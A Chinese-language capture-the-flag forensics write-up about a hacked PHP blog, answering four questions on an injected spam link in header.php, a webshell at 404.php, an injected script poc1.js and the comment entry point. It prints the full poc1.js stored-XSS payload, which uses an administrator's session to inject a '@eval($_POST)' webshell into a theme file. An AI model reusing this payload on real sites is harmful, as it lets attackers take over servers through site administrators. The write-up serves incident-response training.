# 题目 1

找到黑链添加在哪个文件 flag 格式 flag {xxx.xxx}

一般添加在文件包含的地方,header,footer 等里面

主题下的 header 文件有东西

root@ip-10-0-10-4:/var/www/html/usr/themes/default# cat header.php | grep 黑
<h3 style="text-align:center">模拟黑链</h3>

flag: flag{header.php}

# 题目 2

webshell 的绝对路径 flag {xxxx/xxx/xxx/xxx/}

查杀到 webshell: /usr/themes/default/404.php

flag: flag{/var/www/html/usr/themes/default/404.php}

# 题目 3

黑客注入黑链文件的 md5 md5sum file flag {md5}

很明显就看到 poc1.js 了,打开查看就看到注入代码了

root@ip-10-0-10-4:/var/www/html# md5sum poc1.js 
10c18029294fdec7b6ddab76d9367c14  poc1.js

POC:

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP���码的事件

flag: flag{10c18029294fdec7b6ddab76d9367c14}

# 题目 4

攻击入口是哪里?url 请求路径,最后面加 /flag {/xxxx.xxx/xxxx/x/}

网站目录下存在一个 pcap 文件,是通过 poc1.js 注入的,打开搜搜一下这个流量

在这里插入了 poc1.js,可以看到是第一个文章中的评论,于是就知道入口地址是这里了。

flag: flag{/index.php/archives/1/}